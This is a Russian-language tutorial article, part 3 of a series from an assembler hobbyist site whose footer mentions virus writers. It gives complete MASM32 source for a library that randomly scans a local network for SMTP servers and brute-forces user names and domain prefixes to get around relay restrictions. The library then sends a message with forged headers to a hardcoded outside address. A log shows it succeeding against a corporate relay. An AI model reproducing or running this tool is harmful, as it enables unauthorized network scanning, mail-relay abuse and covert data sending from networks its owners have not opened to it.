Welcome to The Passion Of Code Laboratory!!!Статьи

Поиски свободного «почтальона Печкина». Часть 3

Автор: _follower/TPOC

6. Две схемы положения наблюдения.

6.1 Поиск доступных локальных SMTP – серверов.
 

Как-то раз в почтовый ящик нашего отдела упало письмо с неизвестного мне адреса. IP – адрес отправителя был из нашей сетки. После пинга выяснилось, что письмо отослал наш новенький FreeRSD – шный Интернет – шлюз. Я позвал админа и он поведал мне, что как раз настраивает этот Unix – сервер. Сказал, что новый сервер сам отослал нам письмо по ошибочно указанному админом адресу. Дальше админ хвалил юникс, поливал виндовс, я соглашался. Итак, письмо отослал некий системный сервис. Я был поражен тем как это выглядело и было - Правильно. Как грамотно построена служба оповещения о состоянии системы. Сервисы системы оповещают удаленных  админов о состоянии машины, и он реагирует на это. Возможно в Windows, какой-то версии, заложена подобная возможность – не знаю, но так ярко с этим я встретился при моем первом знакомстве с Unix. После нашей беседы писем не приходило, а жаль.

А давайте построим свою библиотеку с функцией, которая даст нам возможность слать письмо на заданный ящик. Пусть эта функция сама находит подходящий SMTP – сервер (подходящего «почтальона Печкина») в локальной сети. Функция примет два входных параметра :

·        строку с темой;

·        строку с содержимого письма.  

 … и на выходе отошлет письмо на зашитый в нее почтовый адрес.

Сформулируем для себя задачу. Мы в локальной сети. В сети есть «корпоративный» SMTP – сервер.

Мы не знаем:

  • IP, этого SMTP;
  • Имен локальных пользователей SMTP – сервера.

 

У нас есть база имен пользователей, и мы надеемся, что в базе есть имя, совпадающее с именем какого-то из пользователей SMTP  – сервера.

Программа должна :

1.      Охватить IP из диапазона 192.168.{0-10}.{1-224}.

2.      Найти IP – адрес SMTP – сервера.

3.      Отослать через него письмо по заданному e-mail – адресу.

Текст программы:

;============================================================
.386
.model flat, stdcall
option casemap :none

include \masm32\include\windows.inc

include \masm32\include\masm32.inc
include \masm32\include\kernel32.inc
include \masm32\include\ws2_32.inc
include \masm32\include\user32.inc

includelib \masm32\lib\masm32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\ws2_32.lib
includelib \masm32\lib\user32.lib
;============================================================
includelib \masm32\lib\msvcrt.lib
include datez.inc

MailRep PROTO :DWORD,:DWORD
localtime PROTO c:DWORD
time PROTO c:DWORD

GetSegCount PROTO :DWORD,:BYTE
ParseBuffer PROTO :DWORD,:DWORD,:DWORD,:DWORD
_writeLog PROTO :DWORD

.code
;============================================================
_this_time proc
invoke time,NULL
mov this_time,eax
invoke localtime,ADDR this_time
.IF eax == NULL
;invoke _writeLog,ADDR Error_time
ret
.ENDIF
mov lpNew_Time,eax
invoke MemCopy,lpNew_Time,ADDR New_Time,sizeof New_Time
add New_Time.tm_year,1900
add New_Time.tm_mon,1
invoke wsprintf,ADDR TextBuf,ADDR template,\
New_Time.tm_year,\
New_Time.tm_mon,\
New_Time.tm_mday,\
New_Time.tm_hour,\
New_Time.tm_min,\
New_Time.tm_sec
mov eax,offset TextBuf
ret

_this_time endp
;============================================================
;============================================================
_writeLog proc _write_str:DWORD
invoke lstrlen, [_write_str]
invoke WriteFile,pFile_log,[_write_str],eax,ADDR SizeReadWrite,NULL
ret
_writeLog endp

;============================================================
;============================================================
clear_buff_ proc uses ecx edi _addrbuff:DWORD,_sizebuff:DWORD
mov ecx,_sizebuff
mov edi, _addrbuff
___r:
mov byte ptr [edi],20h
inc edi
loop ___r

mov byte ptr [_addrbuff+ecx],0
ret
clear_buff_ endp
;============================================================

gen proc max_num:dword
mov eax,08088405h
xor edx,edx
mul seed
inc eax
mov seed,eax
mul max_num
ret
gen endp
;============================================================
recvlp proc
;call clear
pushad
mov ecx,512
lea edi,offset r_buf
r:
mov byte ptr [edi],00h
inc edi
loop r
mov byte ptr [r_buf+512],0
popad

invoke recv,sock,addr r_buf,512,0
.IF EAX!=SOCKET_ERROR
invoke _writeLog,ADDR tab1
invoke _writeLog,ADDR r_buf
.ENDIF
ret
recvlp endp
;============================================================
ParseBuffer proc uses ebx edx ecx edi esi _str:DWORD,\
_szstr:DWORD,\
_sub:DWORD,\
_szsub:DWORD
LOCAL _i:DWORD
LOCAL _j:DWORD
LOCAL _b:DWORD
; 11 : int i=0;
mov _i, 0
; 12 : int j=0;
mov _j, 0
; 13 : int b=0;
mov _b, 0
; 14 :
; 15 :
; 16 : for (i = 0; i <= szstr; i++)
mov _i, 0
jmp @L2
@L1:
mov eax, _i
inc eax
mov _i, eax
@L2:
mov ecx, _i
cmp ecx, _szstr
jg @L_exit0

; 18 : for (j = 0; j <= szsub; j++)
mov _j, 0
jmp @L4
@L3:
mov edx, _j
inc edx
mov _j, edx
@L4:
mov eax, _j
cmp eax, _szsub
jg @L6
; 20 : if (str[i]==sub[j])
mov ecx, _str
add ecx, _i
movsx edx, BYTE PTR [ecx]
mov eax, _sub
add eax, _j
movsx ecx, BYTE PTR [eax]
cmp edx, ecx
jne @L5

; 22 : b++;
mov edx, _b
inc edx
mov _b, edx

; 23 : if (b>=szsub)
mov eax, _b
cmp eax, _szsub
jz @L5

; 25 : return(&str[i+szsub]);
mov ecx, _i
add ecx, _szsub
mov eax, _str
add eax, ecx
inc eax

jmp @L_quit
@L5:
; 29 : }
jmp @L3
@L6:
; 30 : }
jmp @L1
@L_exit0:
; 31 :
; 32 : return(0);
xor eax, eax
@L_quit:
; 33 : }
ret ;0 <================== убрать !!!!
ParseBuffer endp
;============================================================
GetSegCount proc in_str:DWORD, delim:BYTE
LOCAL dummy_str[1024]:BYTE
LOCAL ctr:DWORD
xor ebx, ebx
mov ctr, 0

invoke lstrcpyn, ADDR dummy_str, [in_str], 1024
invoke lstrcat, ADDR dummy_str, ADDR delim

mov al, delim
lea edi, dummy_str
mov ecx, sizeof dummy_str

reload:
add ctr, 1
dscan:
inc ebx
cmp byte ptr dummy_str[ebx], NULL
je Done

scasb
je reload
jmp dscan

Done:
mov eax, ctr

ret
GetSegCount endp
;============================================================
gen_IP proc uses ebx
invoke Sleep,50
invoke GetTickCount
mov seed,eax
mov ebx,4

pushad
invoke lstrcpy,ADDR IP,ADDR s_ip_start
invoke gen,1
inc edx
invoke dwtoa, edx, ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR p
invoke gen,17
inc edx
invoke dwtoa, edx, ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR spc
popad

ret
gen_IP endp
;============================================================
;============================================================
; #########################################################################

MailRep proc _strSubj:DWORD,_strData:DWORD
LOCAL ia :in_addr
LOCAL _strSub_ [50] :BYTE
LOCAL _strDat_ [250]:BYTE
; #########################################################################
invoke lstrcpyn, ADDR _strSub_, _strSubj, 49
invoke lstrcpyn, ADDR _strDat_, _strData, 249


invoke CreateFile,ADDR fname_log,\
GENERIC_WRITE ,\;
FILE_SHARE_READ or FILE_SHARE_WRITE,\;
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov pFile_log,eax
;***********************************************************************
;***********************************************************************
;***********************************************************************
.WHILE 1
call gen_IP
___first:
call _this_time
invoke _writeLog,eax

invoke _writeLog,ADDR tab1
invoke _writeLog,ADDR IP

invoke RtlZeroMemory,ADDR s_IP_str,250
invoke lstrcpy,ADDR s_IP_str-2,ADDR IP
;__________________________________________________________________________
; Тут содержимое письма
;invoke lstrcpy,ADDR s_IP_str,ADDR _strDat_
invoke lstrcat,ADDR s_IP_str,ADDR _strDat_
;__________________________________________________________________________
invoke RtlZeroMemory,ADDR s_SubjectIP,50
;invoke lstrcpy,ADDR s_SubjectIP,ADDR IP
;__________________________________________________________________________
; Тут тема письма
;invoke lstrcpy,ADDR s_SubjectIP,ADDR ...
invoke lstrcat,ADDR s_SubjectIP,ADDR _strSub_
;__________________________________________________________________________

invoke _writeLog,ADDR succ
; #########################################################################
; #########################################################################
; #########################################################################
; #########################################################################

invoke WSAStartup,101h,offset wsadata
cmp eax,INVALID_SOCKET
je ___error

invoke socket,AF_INET,SOCK_STREAM,0
cmp eax,INVALID_SOCKET
je ___error
mov sock,eax

invoke htons,25
mov s_addr.sin_port,ax
mov s_addr.sin_family,AF_INET
invoke inet_addr,ADDR IP
mov s_addr.sin_addr,eax


invoke connect,sock,addr s_addr,sizeof s_addr
cmp eax,SOCKET_ERROR
je ___error

invoke _writeLog,ADDR lf
call recvlp

;поздоровкатся-----------------------------------------------------
invoke send,sock,addr s_helo,szhelo,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp

pushad
;-------------------------------------------------------250
xor ecx,ecx
mov cx,30
lea esi, byte ptr[r_buf]
lea edi,s_DNS_host_
___sec_bl:
lodsb
cmp al,' '
jz ___jmp_next
loop ___sec_bl

___jmp_next:
xor ecx,ecx
mov cx,30

___m1_str:
lodsb
cmp al,' '
jz ___exit_str
stosb
loop ___m1_str
___exit_str:

popad
;-------------------------------------------------------250
invoke lstrcpyn,ADDR s_DNS_host_s,ADDR s_DNS_host_,50

invoke _writeLog,ADDR tab1
invoke _writeLog,ADDR s_DNS_host_
invoke _writeLog,ADDR lf

;от кого:---------------------------------
invoke send,sock,addr s_from_c,szfrom,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp
cmp dword ptr [r_buf],' 055'
jz ___MAIL_FROM_fail
cmp dword ptr [r_buf],' 155'
jz ___MAIL_FROM_fail
cmp dword ptr [r_buf],' 355'
jz ___MAIL_FROM_fail
jmp ___MAIL_FROM_ok


___MAIL_FROM_fail:

invoke GetSegCount, ADDR s_DNS_host_, "."
dec eax
mov dword ptr count_ , eax

.WHILE count_ >0
invoke clear_buff_, ADDR s_from_d,50

lea esi, szAvFw
___load_next_name_1:
lodsb
test al, al
jnz ___load_next_name_1
mov al, BYTE PTR [esi]
test al, al
jz ListDone

invoke lstrcpy,ADDR s_from_d,ESI
invoke lstrcat,ADDR s_from_d,ADDR s_sobaka
invoke lstrcat,ADDR s_from_d,ADDR s_DNS_host_

invoke _writeLog,ADDR tab1
invoke _writeLog,ADDR s_from_d
invoke _writeLog,ADDR lf

invoke send,sock,ADDR s_from_c, szfrom,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp
;------------------------------------------ чистим поле MAIL FROM:<
invoke clear_buff_, ADDR s_from_d,50
;--------------------------
cmp dword ptr [r_buf],' '
jz ___quit
cmp dword ptr [r_buf],' 005'
jz ___next
cmp dword ptr [r_buf],' 105'
jz ___next
cmp dword ptr [r_buf],' 305'
jz ___next
cmp dword ptr [r_buf],' 055'
jz ___next
cmp dword ptr [r_buf],' 355'
jz ___next


; Тут нужно востанивить значение полей s_from_c db "MAIL FROM:<"
;s_from_cc db "MAIL FROM:<" - 11
; db "_follower@mail.ru" - 17
; db 33 dup(20h) - 33
; db ">",0dh,0ah - 3
; ______________________
; 64
invoke lstrcpyn,ADDR s_from_c,ADDR s_from_cc,64
jmp ___MAIL_FROM_ok


___next:
jmp ___load_next_name_1
ListDone:
invoke ParseBuffer,ADDR s_DNS_host_,SIZEOF s_DNS_host_,ADDR p,SIZEOF p -1
invoke lstrcpy,ADDR s_DNS_host_,EAX

invoke _writeLog,ADDR s_DNS_host_

mov eax, dword ptr count_
dec eax
mov dword ptr count_, eax

.ENDW
___MAIL_FROM_ok:
invoke send,sock,addr s_to_c,szto,0
call recvlp
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

cmp dword ptr [r_buf],' 055'
jz ___MAIL_TO_fail
cmp dword ptr [r_buf],' 155'
jz ___MAIL_TO_fail
cmp dword ptr [r_buf],' 355'
jz ___MAIL_TO_fail
cmp dword ptr [r_buf],' 255'
jz ___MAIL_TO_fail

jmp ___MAIL_TO_ok
___MAIL_TO_fail:

invoke lstrcpyn,ADDR s_DNS_host_,ADDR s_DNS_host_s,50
invoke GetSegCount, ADDR s_DNS_host_, "."
dec eax
mov dword ptr count_ , eax


.WHILE count_ >0
lea esi, szAvFw
___load_next_name_2:
lodsb
test al, al
jnz ___load_next_name_2
mov al, BYTE PTR [esi]
test al, al
jz ListDone_1

invoke lstrcpy,ADDR s_to_d,ESI
invoke lstrcat,ADDR s_to_d,ADDR s_sobaka
invoke lstrcat,ADDR s_to_d,ADDR s_DNS_host_

invoke _writeLog,ADDR tab1
invoke _writeLog,ADDR s_to_d
invoke _writeLog,ADDR lf
;-----------------------------------------------------------------------------------------------
cld
mov cx,50
; мы выбрали EDI так как ESI - у нас смотрит на перечень имен "Aaron","Andrey"...
mov edi,offset s_to_c
m1:
inc edi
mov al, byte ptr [edi]
cmp al,0
jz m2 ;выход, если 0
loop m1
m2:
mov byte ptr [edi],20h
;-----------------------------------------------------------------------------------------------
invoke send,sock,ADDR s_to_c, szto,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp
invoke clear_buff_, ADDR s_to_d,50

cmp dword ptr [r_buf],' '
jz ___quit
cmp dword ptr [r_buf],' 005'
jz ___next_
cmp dword ptr [r_buf],' 105'
jz ___next_
cmp dword ptr [r_buf],' 305'
jz ___next_
cmp dword ptr [r_buf],' 055'
jz ___next_
cmp dword ptr [r_buf],' 355'
jz ___next_
cmp dword ptr [r_buf],' 455'
jz ___next_

;s_to_c db "RCPT TO: <" - 10
;s_to_d db "animator@e-mail.ru " - 28
; db 22 dup(20h) - 22
;s_to_e db">",0,0dh,0ah - 4
;szto equ $ - offset s_to_c ------------
; 64
invoke lstrcpyn,ADDR s_to_c,ADDR s_to_cc,64
jmp ___MAIL_TO_ok

___next_:
jmp ___load_next_name_2
ListDone_1:

invoke ParseBuffer,ADDR s_DNS_host_,SIZEOF s_DNS_host_,ADDR p,SIZEOF p -1
invoke lstrcpy,ADDR s_DNS_host_,EAX
invoke _writeLog,ADDR s_DNS_host_

mov eax, dword ptr count_
dec eax
mov dword ptr count_, eax
.ENDW
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
___MAIL_TO_ok:
invoke send,sock,addr s_data,szdata,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp


invoke send,sock,addr s_headers,szheaders,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp
___quit:
invoke send,sock,addr s_quit,szquit,0
call recvlp
cmp dword ptr [r_buf],' 122'
jz ___success
___error:
invoke _writeLog,ADDR lf
invoke closesocket,sock
invoke WSACleanup
;------------------------------------------ чистим поле DNS
invoke RtlZeroMemory,ADDR s_DNS_host_,50
invoke RtlZeroMemory,ADDR s_DNS_host_s,50
.ENDW
___success:
invoke _writeLog,ADDR lf
call _this_time
invoke _writeLog,eax

invoke _writeLog,ADDR str_mail_sending

invoke closesocket,sock
invoke WSACleanup
invoke CloseHandle,pFile_log
ret
MailRep endp
end
;============================================================


makelib.bat - батник для компиляции библиотеки:

@echo off
echo Building MailRep library....
echo.
\masm32\bin\ml /c /Cp /coff mailrep.asm
\masm32\bin\lib mailrep.obj /out:mailrep.lib


_mailrep_use.ASM - программа для проверки подключения библиотеки:

.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
includelib mailrep.lib

MailRep PROTO :DWORD,:DWORD
.data
str1 db 'Peredach ñ zadannoj mashini',0
str2 db 'fasdfasdfasdfsethtyju45623456 456 345 34576567567456756àðî ',0
.code
start:
invoke MailRep,ADDR str1,ADDR str2
invoke ExitProcess,NULL
end start


mailrep.txt - файл логов.

[2005.6.6-12:6:1] 192.168.1.9 ->
[2005.6.6-12:6:22] 192.168.1.12 ->
220 relay.orel.bk.ru ESMTP Postfix
250 relay.orel.bk.ru
relay.orel.bk.ru

250 Ok
250 Ok
354 End data with <CR><LF>.<CR><LF>
250 Ok: queued as 743F9AE02A
221 Bye

[2005.6.6-14:15:48] 192.168.1.13 ->
220 relay.orel.bk.ru ESMTP Sendmail 8.12.11/8.12.11; Mon, 6 Jun 2005 15:22:08 +0300 (EEST)
250 relay.orel.bk.ru Hello vitaliy [192.168.1.102], pleased to meet you
relay.orel.bk.ru
250 2.1.0 <_follower@mail.ru >... Sender ok
550 5.7.1 <animator@e-mail.ru >... Relaying denied
Aaron@relay.orel.bk.ru
550 5.1.1 <Aaron@relay.orel.bk.ru >... User unknown
Adam@relay.orel.bk.ru
550 5.1.1 <Adam@relay.orel.bk.ru >... User unknown
Alba@relay.orel.bk.ru
550 5.1.1 <Alba@relay.orel.bk.ru >... User unknown
Alberto@relay.orel.bk.ru
550 5.1.1 <Alberto@relay.orel.bk.ru >... User unknown
Alecia@relay.orel.bk.ru
550 5.1.1 <Alecia@relay.orel.bk.ru >... User unknown
web@relay.orel.bk.ru
550 5.1.1 <web@relay.orel.bk.ru >... User unknown
admin@relay.orel.bk.ru
550 5.1.1 <admin@relay.orel.bk.ru >... User unknown
root@relay.orel.bk.ru
250 2.1.5 <root@relay.orel.bk.ru >... Recipient ok
354 Enter mail, end with "." on a line by itself
250 2.0.0 j56CM8YM010721 Message accepted for delivery
221 2.0.0 relay.orel.bk.ru closing connection
[2005.6.6-14:15:56] --------------------> mail sending

Итак, программа сканирует локальную сетку в поисках SMTP – сервера для пересылки письма.

Пришлось разнести данные и код, иначе мой ASM Editor for Windows глючит :(
Посмотрим, что новое появилось в программе.
Несколько слов по файлу с данными - datez.inc.
1) 

s_SubjectIP db 50 dup(0)
db 0dh,0ah
db "Reply-To:<animator@e-mail.ru>",0dh,0ah
db "Errors-To:<animator@e-mail.ru>",0dh,0ah
db "FROM: animator@e-mail.ru",0dh,0ah,0dh,0ah

Мы указываем адрес отправителя = animator@e-mail.ru. Однако можно в этом месте указать любой, нужный нам адрес. Для того чтобы повысить шансы передачи письма нужно указать тут тот адрес, на который мы шлем письмо(animator@e-mail.ru – в нашем случае).

2)

s_to_cc db "RCPT TO: <"
db "animator@e-mail.ru "
db 22 dup(20h)
db">",0,0dh,0ah

s_from_cc db "MAIL FROM:<"
db "_follower@mail.ru"
db 33 dup(20h)
db ">",0dh,0ah
...
invoke lstrcpyn,ADDR s_from_c,ADDR s_from_cc,64
invoke lstrcpyn,ADDR s_to_c,ADDR s_to_cc,64

После очередного витка с подменами имен пользователей нужно восстановить исходные данные для следующих попыток. Вот для этого мы и создали дубликаты этих SMTP – команд. 

3)

gen proc max_num:dword
mov eax,08088405h
xor edx,edx
mul seed
inc eax
mov seed,eax
mul max_num
ret
gen endp

GetSegCount proc in_str:DWORD, delim:BYTE
LOCAL dummy_str[1024]:BYTE
LOCAL ctr:DWORD
xor ebx, ebx
mov ctr, 0
invoke lstrcpyn, ADDR dummy_str, [in_str], 1024
invoke lstrcat, ADDR dummy_str, ADDR delim
mov al, delim
lea edi, dummy_str
mov ecx, sizeof dummy_str
reload:
add ctr, 1
dscan:
inc ebx
cmp byte ptr dummy_str[ebx], NULL
je Done
scasb
je reload
jmp dscan
Done:
mov eax, ctr
ret
GetSegCount endp

Признаюсь честно, это не мои функции. Если это для Вас важно, конечно Вы спросите – « где взял?» Да где-то на форуме wasm.ru когда-то, или еще где-то. Авторы пусть простят.

4)

gen_IP  proc uses ebx
                          invoke   Sleep,50
                          invoke   GetTickCount
                          mov      seed,eax
                          mov      ebx,4
 
                          pushad
                          invoke   lstrcpy,ADDR IP,ADDR s_ip_start
                          invoke   gen,1
                          inc      edx
                          invoke   dwtoa, edx, ADDR numBuffer
                          invoke   lstrcat,ADDR IP,ADDR numBuffer
                          invoke   lstrcat,ADDR IP,ADDR p
                          invoke   gen,17
                          inc      edx
                          invoke   dwtoa, edx, ADDR numBuffer
                          invoke   lstrcat,ADDR IP,ADDR numBuffer
                          invoke   lstrcat,ADDR IP,ADDR spc
                          popad
 
                          ret
gen_IP endp

В этой функции мы можем установить ограничения по перебору IP – адресов. В том варианте, что выше охвачен диапазон с 192.168.1.0 -192.168.1.17.

5)

xor ecx,ecx
mov cx,30
lea esi, byte ptr[r_buf]
lea edi,s_DNS_host_
___sec_bl:
lodsb
cmp al,' '
jz ___jmp_next
loop ___sec_bl

___jmp_next:
xor ecx,ecx
mov cx,30

___m1_str:
lodsb
cmp al,' '
jz ___exit_str
stosb
loop ___m1_str
___exit_str:
invoke StdOut,ADDR s_DNS_host_
invoke StdOut,ADDR crlf

Тут мы из строки ответа 250 :
250 relay.orel.bk.ru ..
… сначала дойдем до первого пробела, а потом, начиная со следующего, от пробела, символа выведем подстроку до следующего пробела. Ну и выводим на печать найденное DNS имя.


6)

 cmp dword ptr [r_buf],' 005'
jz ___next_
cmp dword ptr [r_buf],' 105'
jz ___next_
cmp dword ptr [r_buf],' 305'
jz ___next_
cmp dword ptr [r_buf],' 055'
jz ___next_
cmp dword ptr [r_buf],' 355'
jz ___next_
cmp dword ptr [r_buf],' 455'
jz ___next_

Тут в случае возникновения ошибки мы переходим на следующее имя из базы. Наверное правильно было бы описать все ошибки из таблицы 1. первой статьи. То есть 500 – 504, 550-554.

 

7)

 ___MAIL_FROM_fail:
invoke GetSegCount, ADDR s_DNS_host_, "."
dec eax
mov dword ptr count_ , eax
.WHILE count_ >0
___MAIL_TO_fail:
invoke lstrcpyn,ADDR s_DNS_host_,ADDR s_DNS_host_s,50
invoke GetSegCount, ADDR s_DNS_host_, "."
dec eax
mov dword ptr count_ , eax
.WHILE count_ >0
...

том случае если SMTP – сервер не желает принимать наш (выбранный по умолчанию) адрес отправителя, мы начинаем его подбирать. Причем подбор заключается в:

· подборе DNS – приставки;
· подборе имени пользователя. 7).

Имен пользователей у нас столько - сколько их в базе. А вот с DNS – приставками (теми, что после «собаки») иначе. Мы должны знать, сколько частей этого имени нам нужно рассмотреть. Количество частей строки DNS – имени (= кол-ву точек в строке - 1) мы узнаем по функции GetSegCount().

8)

ParseBuffer proc uses ebx edx ecx edi esi _str:DWORD,\
_szstr:DWORD,\
_sub:DWORD,\
_szsub:DWORD
...
invoke ParseBuffer,ADDR s_DNS_host_,SIZEOF s_DNS_host_,ADDR p,SIZEOF p -1


Этой функцией мы отрезаем строку от начала до заданного символа. Мне хотелось бы остановиться подробней на этом месте. Задача данной функции путем перебора, а точнее «откусывании» части слева от DNS – имени, получить приемлемое для сервера имя.

Вообще говоря, наше доменное имя – orel.bk.ru ( а не relay.orel.bk.ru ), поэтому письмо ушло только благодаря тому, что наш админ не все поднастроил в почтовике PostFix на SMTP – сервере. Впредь нам нужно более внимательно поработать с доменным именем, которое сервер возвратит в символьный буфер нашей программы, отвечая нам на приветствие HELO. Придется поработать со строками.

Тут я хотел бы показать один способ быстро разработать строковую функцию.

Как вообще работать с этими строками? Вообще, на мой взгляд, умение в обработке строк – это 40% успеха. Ну, может и не так, но очень серьезная часть во всяком случае.

Как на asm-e мне кажется, удобно писать строковые процедуры. Иногда я делаю так:

1. Рисую блок схему алгоритма. Может кто-то посмеется, но мне (как не проф. программисту) это удобно;
2. Пишу эту процедуру на С;
3. Создаю проект со следующими установками:
 


 



Далее, после компиляции в папке Debug у меня появится <project name>.asm, который можно поисследовать.
Может я чего и не понимаю, но мне кажется такой путь лучшим. Хотя, наверное, есть люди, которые отпимизируют свой код и получше машины, но я не из таких, … я только учусь. А компилятор VC ++6? Надо отметить не плохой учитель.

Напишем процедуру выделения части строки начиная с заданной подстроки и до конца. Конечно тут нам не нужно работать с подстроками(хотя задачу разбиения строки DNS – имени она решает ), но в дальнейшем эта функция понадобится.

В нашем случае мы имеем строку

relay.orel.bk.ru

Нужно получить доменное имя orel.bk.ru.

Количество точек, в строке доменного имени, минус один - определяет количество возможных доменных имен. В нашем случае три точки минус один получаем два возможных доменных имени.
Получим саму функцию.

// 2.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
char *strstr_(char *str,int szstr, char *sub,int szsub)
{
int i=0;
int j=0;
int b=0;
for (i = 0; i <= szstr; i++)
{
for (j = 0; j <= szsub; j++)
{
if (str[i]==sub[j])
{
b++;
if (b>=szsub)
{
return(&str[i+szsub]);
break;
}
}
else b=0;
}
}
return(0);
}
int main(int argc, char* argv[])
{
char str []="123.ABCabc.DEFdef";
char substr[]=".";
printf("%s\n%s\n%s\n", str, substr, strstr_(str,strlen(str),substr,strlen(substr)));
return 0;
}

Что Вы получили в результате? Вот что получилось у меня.

?strstr_@@YAPADPADH0H@Z PROC NEAR ; strstr_
; 10 : {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
; 11 : int i=0;
mov DWORD PTR _i$[ebp], 0
; 12 : int j=0;
mov DWORD PTR _j$[ebp], 0
; 13 : int b=0;
mov DWORD PTR _b$[ebp], 0
; 14 :
; 15 :
; 16 : for (i = 0; i <= szstr; i++)
mov DWORD PTR _i$[ebp], 0
jmp SHORT $L799
$L800:
mov eax, DWORD PTR _i$[ebp]
add eax, 1
mov DWORD PTR _i$[ebp], eax
$L799:
mov ecx, DWORD PTR _i$[ebp]
cmp ecx, DWORD PTR _szstr$[ebp]
jg SHORT $L801
; 18 : for (j = 0; j <= szsub; j++)
mov DWORD PTR _j$[ebp], 0
jmp SHORT $L802
$L803:
mov edx, DWORD PTR _j$[ebp]
add edx, 1
mov DWORD PTR _j$[ebp], edx
$L802:
mov eax, DWORD PTR _j$[ebp]
cmp eax, DWORD PTR _szsub$[ebp]
jg SHORT $L804
; 20 : if (str[i]==sub[j])
mov ecx, DWORD PTR _str$[ebp]
add ecx, DWORD PTR _i$[ebp]
movsx edx, BYTE PTR [ecx]
mov eax, DWORD PTR _sub$[ebp]
add eax, DWORD PTR _j$[ebp]
movsx ecx, BYTE PTR [eax]
cmp edx, ecx
jne SHORT $L805

; 22 : b++;

mov edx, DWORD PTR _b$[ebp]
add edx, 1
mov DWORD PTR _b$[ebp], edx
; 23 : if (b>=szsub)
mov eax, DWORD PTR _b$[ebp]
cmp eax, DWORD PTR _szsub$[ebp]
jl SHORT $L806
; 25 : return(&str[i+szsub]);
mov ecx, DWORD PTR _i$[ebp]
add ecx, DWORD PTR _szsub$[ebp]
mov eax, DWORD PTR _str$[ebp]
add eax, ecx
jmp SHORT $L795
$L806:
; 29 : else b=0;
jmp SHORT $L807
$L805:
mov DWORD PTR _b$[ebp], 0
$L807:
; 30 : }
jmp SHORT $L803

$L804:

; 31 : }

jmp SHORT $L800
$L801:
; 32 :
; 33 : return(0);
xor eax, eax
$L795:
; 34 : }
mov esp, ebp
pop ebp
ret 0
?strstr_@@YAPADPADH0H@Z ENDP ; strstr_

Подредактируем полученное это дело, и вот что получим …
 

strstr_ proc uses ebx edx ecx edi esi _str:DWORD,\
_szstr:DWORD,\
_sub:DWORD,\
_szsub:DWORD
LOCAL _i:DWORD
LOCAL _j:DWORD
LOCAL _b:DWORD
; 11 : int i=0;
mov _i, 0
; 12 : int j=0;
mov _j, 0
; 13 : int b=0;
mov _b, 0
; 14 :
; 15 :
; 16 : for (i = 0; i <= szstr; i++)
mov _i, 0
jmp @L2
@L1:
mov eax, _i
inc eax
mov _i, eax
@L2:
mov ecx, _i
cmp ecx, _szstr
jg @L_exit0

; 18 : for (j = 0; j <= szsub; j++)
mov _j, 0
jmp @L4
@L3:
mov edx, _j
inc edx
mov _j, edx
@L4:
mov eax, _j
cmp eax, _szsub
jg @L6
; 20 : if (str[i]==sub[j])
mov ecx, _str
add ecx, _i
movsx edx, BYTE PTR [ecx]
mov eax, _sub
add eax, _j
movsx ecx, BYTE PTR [eax]
cmp edx, ecx
jne @L5

; 22 : b++;
mov edx, _b
inc edx
mov _b, edx

; 23 : if (b>=szsub)
mov eax, _b
cmp eax, _szsub
jz @L5

; 25 : return(&str[i+szsub]);
mov ecx, _i
add ecx, _szsub
mov eax, _str
add eax, ecx

jmp @L_quit
@L5:
; 29 : }
jmp @L3
@L6:
; 30 : }
jmp @L1
@L_exit0:
; 31 :
; 32 : return(0);
xor eax, eax
@L_quit:
; 33 : }
ret ;0< этот 0 удалим !!!!
strstr_ endp

Меняет название функции, имена меток. Убираем резервирование места в стеке для локальных переменных, и потираем эти «$[ebp]». Можно насупив бровь и с умным видом сменить все

add      edx, 1

на

inc edx

… оптимизировать, так сказать. В принципе и вся правка. Легко, не правда ли?
Вот так вот, и после всего этого можно еще и считать себя человеком, знающим ассемблер !!! :)))

9)

jz ___success
...
___success:
invoke _writeLog,ADDR lf
call _this_time
invoke _writeLog,eax
invoke _writeLog,ADDR str_mail_sending
invoke closesocket,sock
invoke WSACleanup
invoke CloseHandle,pFile_log

В том случае если письмо отослано – выход из цикла, освобождение памяти и т.д. и т.п.

Ну вот и получили мы свою библиотеку. Это-ли не успех ?!.


Вообще говоря, если запустить это дело в сети типа 192.168.{0-10}.{0-224}, то после 6 – часов работы письмо может и отправится. Долго, очень долго. Но благодаря ей я обнаружил что в нашей сетке есть еще пара SMTP – серверов, способных отсылать письма. Это делал наш Internet – шлюз на FreeBSD по какой-то причине. Вообще говоря в момент завершения работы программы IP – шник работающего SMTP – шника лежит в памяти по смещению IP. Его можно запомнить в лог. – файле и потом долго не искать снова. Но это уже отдадим на Ваше рассмотрение.

В следующей статье мы посмотрим, как ускорить процесс поиска «почтальона Печкина». Ну, как–то шесть часов – это уж слишком долго.

Исходник

[C] _follower / TPOC

Наши новости

Новые события из жизни нашей лаборатории

Статьи

Статьи и переводы лаборатории TPOC

Программы

Программы лаборатории TPOC

Релизы

Здесь мы сообщаем Вам, какие творения скоро появятся

Ссылки

Ссылки на сайты, где можно найти больше информации

Наша лаборатория

История нашей лаборатории и ее члены

Дата последнего обновления: 25 июля 2005 года
У вас есть предложения по нашему сайту?
Напишите сюда
Любимые сайты вирмейкеров:
(WASM)   (RSDN)